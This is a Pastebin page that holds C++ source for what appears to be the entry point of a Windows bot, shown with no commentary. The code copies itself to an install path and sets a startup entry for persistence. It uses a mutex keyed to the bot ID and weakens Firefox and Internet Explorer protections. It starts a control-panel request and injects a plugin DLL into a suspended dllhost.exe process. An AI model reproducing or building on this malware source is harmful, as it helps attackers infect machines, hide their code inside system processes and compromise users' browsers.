Advertisement
setty7

Untitled

Oct 25th, 2018
116
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 2.28 KB | None | 0 0
  1. #pragma comment(linker, "/ENTRY:Entry")
  2.  
  3. #include "..\Common.h"
  4.  
  5. #define RUN_DEBUG FALSE
  6.  
  7. static void Install(char *path)
  8. {
  9.    //melt
  10.    char temp[MAX_PATH];
  11.    GetTempPathBotPrefix(temp);
  12.    HANDLE hFile = Funcs::pCreateFileA
  13.    (
  14.       temp,
  15.       GENERIC_WRITE,
  16.       0,
  17.       NULL,
  18.       CREATE_ALWAYS,
  19.       FILE_ATTRIBUTE_NORMAL,
  20.       NULL
  21.    );
  22.    DWORD written;
  23.    Funcs::pWriteFile(hFile, path, Funcs::pLstrlenA(path), &written, NULL);
  24.    Funcs::pCloseHandle(hFile);
  25.    //end melt
  26.  
  27.    char installPath[MAX_PATH] = { 0 };
  28.    GetInstallPath(installPath);
  29.    Funcs::pCopyFileA(path, installPath, FALSE);
  30.    SetStartupValue(installPath);
  31.  
  32.    STARTUPINFOA        startupInfo = { 0 };
  33.    PROCESS_INFORMATION processInfo = { 0 };
  34.  
  35.    startupInfo.cb = sizeof(startupInfo);
  36.  
  37.    Funcs::pCreateProcessA(installPath, NULL, NULL, NULL, FALSE, 0, NULL, NULL, &startupInfo, &processInfo);
  38. }
  39.  
  40. static void Run()
  41. {
  42.    SetFirefoxPrefs();
  43.    DisableMultiProcessesAndProtectedModeIe();
  44.    InitPanelRequest();
  45.    BYTE *mainPluginPe = NULL;
  46.    
  47.    GetDlls(&mainPluginPe, NULL, FALSE);
  48.  
  49.    char dllhostPath[MAX_PATH] = { 0 };
  50.    
  51.    Funcs::pSHGetFolderPathA(NULL, CSIDL_SYSTEM, NULL, 0, dllhostPath);
  52.  
  53.    Funcs::pLstrcatA(dllhostPath, Strs::fileDiv);
  54.    Funcs::pLstrcatA(dllhostPath, Strs::dllhostExe);
  55.  
  56.    STARTUPINFOA        startupInfo = { 0 };
  57.    PROCESS_INFORMATION processInfo = { 0 };
  58.  
  59.    startupInfo.cb = sizeof(startupInfo);
  60.  
  61.    Funcs::pCreateProcessA(dllhostPath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &startupInfo, &processInfo);
  62.    InjectDll(mainPluginPe, processInfo.hProcess, FALSE);
  63. }
  64.  
  65. void Entry()
  66. {
  67.    InitApi();
  68.    char  botId  [BOT_ID_LEN] = { 0 };
  69.    char  exePath[MAX_PATH]   = { 0 };
  70.    char *exeName;
  71.    GetBotId(botId);
  72.    HANDLE hMutex = Funcs::pCreateMutexA(NULL, TRUE, botId);
  73.    if(Funcs::pGetLastError() == ERROR_ALREADY_EXISTS)
  74.       Funcs::pExitProcess(0);
  75.    Funcs::pReleaseMutex(hMutex);
  76.    Funcs::pCloseHandle(hMutex);
  77. #if(RUN_DEBUG)
  78.    Run();
  79. #else
  80.    Funcs::pGetModuleFileNameA(NULL, exePath, MAX_PATH);
  81.    exeName = Funcs::pPathFindFileNameA(exePath);
  82.    if(Funcs::pStrncmp(botId, exeName, Funcs::pLstrlenA(botId)) != 0)
  83.       Install(exePath);
  84.    else
  85.       Run();
  86. #endif
  87.    Funcs::pExitProcess(0);
  88. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement